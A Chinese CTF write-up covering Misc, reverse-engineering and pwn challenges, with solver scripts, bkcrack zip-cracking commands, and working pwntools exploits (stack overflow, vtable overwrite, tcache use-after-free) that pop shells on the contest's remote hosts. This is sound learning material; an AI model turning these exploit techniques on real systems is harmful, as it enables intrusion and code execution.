题解


这次比赛和 TBMK 一起打的, 做题的几天搜了很多文章, 感觉学到了很多东西.

Misc

感觉 Misc 这种还是比较有意思的[OK]

贝斯的复仇

附件下载

为防止附件过大, 请用 gen_problem.py 动态生成题目文件 flag.base

打开的时候是不会的, 因为之前没见过这种base.
拿 python 写了个统计字符数量的脚本, 得出全是可打印字符并且少了其中几种, 比如引号方括号之类的.
然后去网上搜, 找到有个 base85, 拿 python 试了一下, 果然可以解密.
那剩下的就简单了, 每解密一次看看输出, 然后一层一层解密, flag 就出来了.

1
2
3
4
5
6
7
8
9
10
11
import base64

with open('flag.base', 'rb') as f:
s = f.read()

tab = [base64.b16decode, base64.b32decode, base64.b64decode, base64.b85decode]
k = [3, 3, 0, 3, 2, 1, 1, 3, 2, 1, 3, 0, 3, 2, 1, 1, 2, 1, 2, 3, 2, 0, 2, 0, 0, 1, 0, 3, 3, 0, 2, 3, 2, 0, 3, 3, 3, 1, 3]

for i in k: s = tab[i](s)
print(str(s, encoding='utf-8'))

这个脚本看起来不是一层一层解密的. 因为比赛后自己整理并重写了一遍.

flag{th4t_1s_b4s3_3nc0des}

capture

附件下载

先用 WireShark 打开, 然后, 呃, 不知道怎么下手. 还是先看看十六进制吧, 搜到一个 flag 字符串, 旁边还有个 PK 头.
查看十六进制
这样目的就比较明确了, 翻了一下, 成功得到了—一个加密的压缩包.
然后在周围搜了一下, 有个qwe123!@#114514, 但那不是密码, 就先放弃了.
几天后突然想一条一条翻, 然后快到末尾的地方有一大串奇怪的base64
奇怪的字符串
解码一下, 恍然大悟:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#######################################
# 2021-05-25 19:35:31 #
#######################################
--------------------------------------------------
WindowTitle:图片
Time:2021-05-25 19:35:45
[Delete]
--------------------------------------------------
WindowTitle:新建压缩文件
Time:2021-05-25 19:35:55
[Lshift]SECRET[Return]
--------------------------------------------------
WindowTitle:输入密码
Time:2021-05-25 19:36:01
[Capital]S[Back]ASDFGHJKL;'[Tab]ASDFGHJKL;'[Return]
--------------------------------------------------
WindowTitle:新建压缩文件
Time:2021-05-25 19:36:09
[Return]

mssctf{Pc4p_1s_S0o0o0o0o0o0o0o0o0oEz}

Evilcode

附件下载

是一堆不认识的十六进制文本, 但根据重复序列的特征和文本行数, 猜测是一张图片的 RGB. (之前打 NCTF 碰到过类似的题, 只不过那个直接给的是 bits).
写个脚本填入 RGB, 果然得到了一张图片. 用 QR research 扫一下, 把网址后面的 base16 解码一下就有了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from PIL import Image
from base64 import b16decode

with open('code.bin', 'r') as f:
s = f.read().split('\n')

img = Image.new('RGB', (1080, 2400), (0, 0, 0))
p = img.load()

for j in range(2400):
b = b16decode(s[j].upper())
for i in range(1080):
p[i, j] = (b[3 * i], b[3 * i + 1], b[3 * i + 2])
img.save('out.png')

flag{D0NT_sc4n_QRc0d3_fr0m_Unkn0wns0ur4}

打不开的压缩包

附件下载

压缩包有密码, 没有附加数据, 但里面除了 flag 以外还有个 hint.png, 而 png 图片的文件头我们是知道的, 而且文件的压缩算法是 ZipCrypto Store. 于是去网上找找看有没有什么破解的方法.
找到一篇博客, 链接
根据文中所述的方法, 尝试使用以下命令行:

1
bkcrack -C attachment.zip -c hint.png -p head.png

这个大概跑了十几分钟, 然后出来了三段 key, 把它们填入下面的命令行.
1
2
bkcrack -C attachment.zip -c flag -k c257ccb7 ee535b48 af274d68 -d flag
bkcrack -C attachment.zip -c hint.png -k c257ccb7 ee535b48 af274d68 -d hint.png

成功拿到其中的两个文件.
已解密的文件
然而, 真正难的才刚刚开始
打开其中的 flag, 发现是一堆十进制数字(查看文件)
然后…观察了这段文本的特点, 尝试了很多方法:

  • 直接整数转字节串
  • base 系列算法
  • 由于文本很多以12字节为周期, 尝试了以12个字符为1片切片, 然后对它们进行各种数值操作. 至于文件大小不是12的倍数, 按照”规律”补了个4
  • 把字符数组根据索引模12分为12个类, 再观察它们的特征
  • 重新回到 hint.png, 分析文件是否存在隐写
  • 重新检查 attachment.zip, 分析有无数据附加

然后, 全军覆没[笑哭]
后来根据 TBMK 发现的文章(传送门)
一看, 这不原题嘛, 然后根据这个知道了aa3d这个东西. 感叹到自己学的还是太少了qwq
按照这个做法, 是把文字排列为 97*47 的矩阵, 然后截图并用stegsolve偏移+异或
求解

4559=97*47, 这个是真没想到
不管怎么样, 只能说解题的收获颇丰吧

MiniL{A@3d-1s_Ar7!!}

Re

主要打的是 Re, 做到第七个做不动了[灵魂出窍]

Rust? Rua死它!!!

附件下载

之前看过 rust 的一本参考书的一半的一半的一半
结果, 宏什么的完全不知道, 只是看到类似于 false as u8 之类的不会一脸懵.
其实 rust 学好的话用起来应该还是很舒服的
然后就硬看, 终于看出这是个逐步分析的过程…
其中never是原文(buf), gonna是一个类似字节寄存器的玩意(c), give是当前字节指针(p)的索引. 诶~有brainfuck那味了.

前缀 代号 意义
Never gonna give you up 0 p++
Never gonna let you down 1 p--
Never gonna run around and desert you 2 (*p)++
Never gonna make you cry 3 (*p)--
Never gonna say goodbye 4 c=*p
Never gonna tell a lie and hurt you 5 *p=c

然后把那一大串歌词弄下来, 拿数字代替并包装成数组, 可以写出 python 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

never = [148, 59, 143, 112, 121, 186, 106, 133, 55, 90, 164, 166, 167, 121, 174, 147, 148, 167, 99, 86, 81, 161, 151, 149, 132, 56, 88, 188, 141, 127, 151, 63]

with open('1.txt', 'r') as f:
data = eval(f.read())

p = 0
val = [0 for i in never]
for i in data:
if i == 0:
p = p + 1
elif i == 2:
val[p] = val[p] + 1
print(val)
print(bytes([(never[i] - val[i]) & 0xFF for i in range(len(never))]))

感觉这道题还是蛮有意思的[罗小黑_可可爱爱]

flag{A6C33EA2571A2AE26BFAE7BEA2CD8F54}

文件勒索病毒

附件下载, 密码9ss8

这个 exe 短小精悍, 应该是刻意处理过的, 它甚至没有 crt 的 main 函数, start 一来就是主逻辑. 用 DIE 扫描出程序是 vs2019 写的, 对于高版本 vs, 为了保持这种特性, 不太方便使用 CRT 函数(因为它们会链接到 msvcr14x, vcruntimex, 而且产生一堆 thunks), 所以程序只使用了 kernel32.dll 导出的 api 进行控制台操作.

大概分析下这个文件干了什么
主函数
程序先获取控制台输入输出句柄, 然后就可以对控制台进行读写, 可以把它们想象成 stdin 和 stdout. 实际上 crt 函数大多是对 kernel32 的封装.
输入密码后, 程序进入下图:
遍历文件
先设置当前目录到有加密文件的目录, 然后遍历所有文件, 把文件路径和密码字符串传给sub_401220:
解密文件
可以看到, 程序对于打开的文件, 每次读取8个字节并解密, sub_4011F0就是解密函数.
注意这个CreateFileA在这里不是创建文件而是打开文件. 这个我当时学 win32 也一脸懵B. 类似的还有OpenProcess是打开进程(获取句柄)而不是创建进程; CloseWindow是最小化窗口而不是关闭窗口.
解密函数
这个就是解密的过程了, 那么可以想到根据 PNG 文件头去反推密码:

1
2
3
4
5
6
7
8
9
10
png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
enc_header = [0xCE, 0xC5, 0x66, 0x3F, 0x5E, 0x2A, 0xEB, 0x65]

key = [0 for i in range(8)]
for i in range(8):
s = bin(png_header[i] + i)[2:].rjust(8, '0')
s = int(s[-i:] + s[:-i], 2)
key[i] = s ^ enc_header[i]
print(bytes(key))

把这个输入到所给程序就OK

flag{c405e6725f58ba79c4078b02ac93808b68a12499}

saber

附件下载

常见的 Misc 套路, 给了一个图片, 其中 exe 放在 PNG 文件末尾, 用十六进制编辑器可以把文件 dump 出来
然后就简单了, 写个程序异或回来即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>

unsigned char xor[] = {
0x44, 0x70, 0x26, 0x2C,
0xB8, 0xB3, 0xEA, 0x00,
0xF0, 0xF6, 0xCD, 0xAF,
0x7C, 0xBE, 0xD2, 0x4E,
0x54, 0x78,
};

int main(){
srand(12);
for (int i = 0; i < 18; i++){
srand(rand());
unsigned char s = rand();
putchar(s ^ xor[i]);
}
putchar('\n');
return 0;
}

flag{Exca1i6ur!!!}

题目忘了

附件下载

一看程序反编译结果, 不像是直接用 C 写的. 顺着start往里面看, 可以看到这些字符串:
反编译的函数
看到了 OCRA, 猜测是 ruby 写的.
在网上寻找 OCRA 怎么反编译, 无果. 猜测 exe 是释放脚本并运行(以前某 bat2exe 就是这么做的).
打开程序挂着, 使用 Everything 搜索 .rb, 按修改时间排序, 果然在临时目录有很多*.rb文件
源文件
打开目录, 容易在(root)/src/找到chall.rb文件, 然后就简单了.

一条捷径: 运行程序并输入CTRL+Z并回车, 可以看到源文件 chall.rb.
源文件_

两次 base64 解密即可

flag{1llyasviel_v0n_E1nz6ern}

题目忘了*2

附件下载

题目给出了主程序和一个 .pyc, 显然我们需要逆向这个 python3.10 的字节码.
在网上找了一圈, 好像没有直接反编译成 .py 的反编译器, 最多找到个反编译成类似汇编代码的方法:

1
2
import dis
dis.dis(DataFrame)

得到的结果: 查看
然后就以上面的代码为参考, 一句一句逆出来, 遇到汇编不对的就把自己那一句话改一改.
《易得》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
class DataFrame(object):
def __init__(self, flag):
self.flag = (lambda data : data + bytes([16-len(data)%16] * (16-len(data)%16)))(flag)
self.key = 'trackonyou'


def enc(self):
S = []
T = []
NEW = [0] * 64
sec_to_plain = list(self.flag)
for i in range(256):
S.append(255 - i)
T.append(ord(self.key[i % len(self.key)]))

j = 0
for i in range(256):
j = (j + S[i] + T[i]) % 256
S[i], S[j] = S[j], S[i]

for cnt in range(10):
# May some comment
for i in range(64):
sec_to_plain[i] = S[sec_to_plain[i]]


for i in range(8):
for j in range(8):
tmp = sec_to_plain[8 * i + j]
for k in range(8):
NEW[k + 8 * j] = tmp % 2
tmp = tmp // 2
for j in range(64):
res = j * j * j % 67 % 64
NEW[res], NEW[j] = NEW[j], NEW[res]
for j in range(8):
v78 = 0
v74 = 1
for k in range(8):
v78 |= NEW[k + 8 * j] * v74
v74 *= 2
v70 = j + 8 * i
sec_to_plain[v70] = v78

for i in range(64):
sec_to_plain[i] ^= ord(self.key[cnt])

return sec_to_plain

我敢保证行数都是一样的[蛆音娘_滑稽]
然后就按照源码写出顺序相反的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
class DataFrame(object):
def __init__(self, flag):
self.flag = (lambda data : data + bytes([16-len(data)%16] * (16-len(data)%16)))(flag)
self.key = 'trackonyou'

def dec(self):
S = []
T = []
NEW = [0] * 64
sec_to_plain = list(self.flag)
for i in range(256):
S.append(255 - i)
T.append(ord(self.key[i % len(self.key)]))

j = 0
for i in range(256):
j = (j + S[i] + T[i]) % 256
S[i], S[j] = S[j], S[i]
T = [0] * 256
for i in range(256):
T[S[i]] = i
S = T

for cnt in range(10):
for i in range(64):
sec_to_plain[i] ^= ord(self.key[9 - cnt])

for i in range(8):
for j in range(8):
tmp = sec_to_plain[8 * i + j]
for k in range(8):
NEW[k + 8 * j] = tmp % 2
tmp = tmp // 2
for j in range(64):
j = 63 - j
res = j * j * j % 67 % 64
NEW[res], NEW[j] = NEW[j], NEW[res]
for j in range(8):
v78 = 0
v74 = 1
for k in range(8):
v78 |= NEW[k + 8 * j] * v74
v74 *= 2
v70 = j + 8 * i
sec_to_plain[v70] = v78

for i in range(64):
sec_to_plain[i] = S[sec_to_plain[i]]

return sec_to_plain

data = DataFrame(bytes([34, 88, 205, 160, 220, 83, 10, 177, 84, 202, 92, 236, 170, 160, 226, 98, 63, 118, 177, 33, 188, 125, 192, 27, 240, 214, 205, 211, 255, 28, 247, 36, 195, 0, 158, 144, 153, 34, 80, 87, 45, 40, 125, 106, 214, 6, 187, 93, 189, 13, 61, 70, 43, 65, 180, 175, 52, 97, 144, 233, 125, 76, 60, 66]))
print(bytes(data.dec()))

flag{R3s3@rch_by73c0de_m@yb3_a_gO0d_way_2_l3a7n_python}

baby_vm

附件下载

主函数

猜测有一个虚拟机类, 分析结果见文件
四条指令分别为 0xF1 ~ 0xF4.
根据虚拟机的四种指令执行对应操作, 写个脚本逆过来就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

flag = list(b'flag{xxxxxxxxxxxxxxxxx}')
pad = [0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36]
flag = flag + pad + [0] * 24
ans = [0] * 23 + pad + [0x66, 0x58, 0x07, 0x46, 0x6A, 0x74, 0x68, 0x45, 0x4D, 0x59, 0x58, 0x51, 0x62, 0x4A, 0x52, 0x61, 0x6C, 0x60, 0x16, 0x15, 0x16, 0x56, 0x06]

for i in range(23): # 加密过程
flag[46 + i] = flag[i] ^ flag[23 + i] ^ 17

for i in range(23): # 照猫画虎的解密过程
ans[22 - i] = ans[68 - i] ^ ans[45 - i] ^ 17

print([hex(flag[0x2E + i]) for i in range(24)])
print(bytes(ans[:23]))

flag{Wh4t_@_stack_vm_M@573r!}

Rx 的烦恼

附件下载

呃这题没做出来就不贴了, 看了看题解感觉还是想多了, 之前看完流程感觉应该没有flag, 然后一直想着是不是要故意触发异常跳到一个特殊的位置解密magic.

下面是一个分析的半成品:

文件下载

pwn

抱着捞分的心态做了几个题[滑稽]

clang-format

请找出让 clang_format 13.0 崩溃的 cpp 代码, 把代码转为 base64 发送到链接:
http://150.158.88.195:58888/format/?your_base64

题目要求找出clang-format13.0 的漏洞, 既然给的是官方文件, 那肯定会有对应的 bug report. 于是我们可以去网上找相关数据, 这里给出我找到的: 这个网站中的这个邮件

使用:

1
std::vector<std::vector<uint8_t>> var_len_seq{ { 0x80 }, { 0xf5 }, { 0xc3, 0x7f }, { 0xc3, 0xc0 }, { 0xe1, 0x7f }, { 0xe1, 0xc0 }, { 0xe1, 0x81, 0x7f }, }; 

去访问:
1
http://150.158.88.195:58888/format/?c3RkOjp2ZWN0b3I8c3RkOjp2ZWN0b3I8dWludDhfdD4+IHZhcl9sZW5fc2VxeyB7IDB4ODAgfSwgeyAweGY1IH0sIHsgMHhjMywgMHg3ZiB9LCB7IDB4YzMsIDB4YzAgfSwgeyAweGUxLCAweDdmIH0sIHsgMHhlMSwgMHhjMCB9LCB7IDB4ZTEsIDB4ODEsIDB4N2YgfSwgfTsg

成功拿到 flag.

flag{eXcel1Ent1Y_Cr4sH_cLanG-F0rm4t}

blind

就这种题, 我闭着眼睛也能打
nc sec.eqqie.cn 10012
你觉得呢?

一个经典的栈溢出题, 直接造栈溢出, 管他长度是多少, 反正一直重复就对了:

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote('sec.eqqie.cn', 10012)
b = p.recvline()
print(b)
q = p64(int(b[b.find(b'0x') + 2 : -1], 16))
p.sendline(q * 30)
p.interactive()

flag{I_believe_you_can_be_a_good_fuzzer}

ezlogin

nc sec.eqqie.cn 10013
附件下载

整数溢出 + 栈溢出即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

local = 0
if local:
p = process('./signin')
else:
p = remote('sec.eqqie.cn', 10013)

b = b'ZXFxaWUmY29yMWU='
b = b.ljust(0x89 + 4, b'a') + p32(0x80492B6)
b = b.ljust(0x100, b'a')
p.sendline(b)
print(b)
p.interactive()

flag{try_t0_c0mb1n3_tw0_vulnerabilities_t0g3ther}

note

nc 139.155.15.113 10000
附件下载

new分配的缓冲区大小为0x1C. 原理8太懂, 只知道经过测试两个两个地址间的距离为0x20. 这样的话我们可以通过一个note覆盖下一个note的虚函数表. 那么我们需要一块大小为4的内存指针, 且地址里存放了system函数指针. 这样下一条note调用虚函数时就可拿到shell.
在这里我们选择题目给的gift, 即先把此地址溢出填入note的虚函数表, 再在下一条note修改时输入system函数的地址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

p_bkd = 0x80489CE
o_src = 0x28

local = 0
if local:
p = process('./note')
else:
p = remote('139.155.15.113', 10000)

p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')
for _ in range(14): p.recvline()
q = int(p.recvline()[16 : -1], 16) + o_src
print(hex(q))
p.sendline(b'3')
p.sendline(b'0')
p.sendline(b'28')
p.sendline(b'a' * 24 + p32(q))
p.sendline(b'3')
p.sendline(b'1')
p.sendline(b'4')
p.sendline(p32(p_bkd))
p.interactive()

flag{cpp_is_easy}

抗疫日记

nc sec.arttnba3.cn 10001
附件下载

这题可以利用的是野指针, 也就是旧指针在释放时没有将指针置零, 导致新内存分配到同一地址时导致意外修改.
对于高版本libc, 分配小内存先会从tcache中申请, 释放后回收, 等再次分配相同大小的内存时, 拿到的地址为上次释放的内存地址.
利用这一点, 我们先创建一条日记, 长度为16, 此时有两块内存, 指针为p1, p2. p1是对象的16字节内存, p2是缓冲区内存
再创建一条, 长度为其他数, 这里选择了96. 申请的内存指针为p3, p4. 含义同上
注意这时p1, p2 和 p3大小均为16字节, 而p4不是, 此时释放第一条日记, 再释放第二条日记. 现在tcache中链表为p2->p1->p3.
再创建一条日记, 此时拿到的指针为p3和p1, 此时就可在p1中随意写数据了. 向其中写入/bin/sh和system即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

def get(p, n, echo=True):
for _ in range(n):
b = p.recvline()
if echo: print(str(b, encoding='utf-8'), end='')

local = 0
if local:
p_puts = 0x76210
o_system = 0x49E10 - p_puts
o_cmd = 0x18969B - p_puts
p = process('./diary')
else:
p_puts = 0x875A0
o_system = 0x55410 - p_puts
o_cmd = 0x1B75AA - p_puts
p = remote('sec.arttnba3.cn', 10001)

get(p, 27, False)
q = p.recvline()[50:]
q = int(q[:q.find(b' ')], 16)
c, q = q + o_cmd, q + o_system
print('system at %016X, cmd at %016X' % (q, c))
get(p, 2, False)

get(p, 6)
p.sendline(b'1')
get(p, 1)
p.sendline(b'16')
get(p, 1)
p.sendline(b'/bin/sh')
get(p, 1)

get(p, 6)
p.sendline(b'1')
get(p, 1)
p.sendline(b'96')
get(p, 1)
p.sendline()
get(p, 1)

get(p, 6)
p.sendline(b'3')
get(p, 1)
p.sendline(b'0')

get(p, 6)
p.sendline(b'3')
get(p, 1)
p.sendline(b'1')

get(p, 6)
p.sendline(b'1')
get(p, 1)
p.sendline(b'16')
get(p, 1)
p.sendline(p64(c) + p64(q))
get(p, 1)

get(p, 6)
p.sendline(b'2')
get(p, 1)
p.sendline(b'0')

p.interactive()

flag{h3@p_1s_s0_s1mp13_7o_3xp10I7!}

嗯, 就写到这, 吃饭去了[干物妹!小埋_好累啊]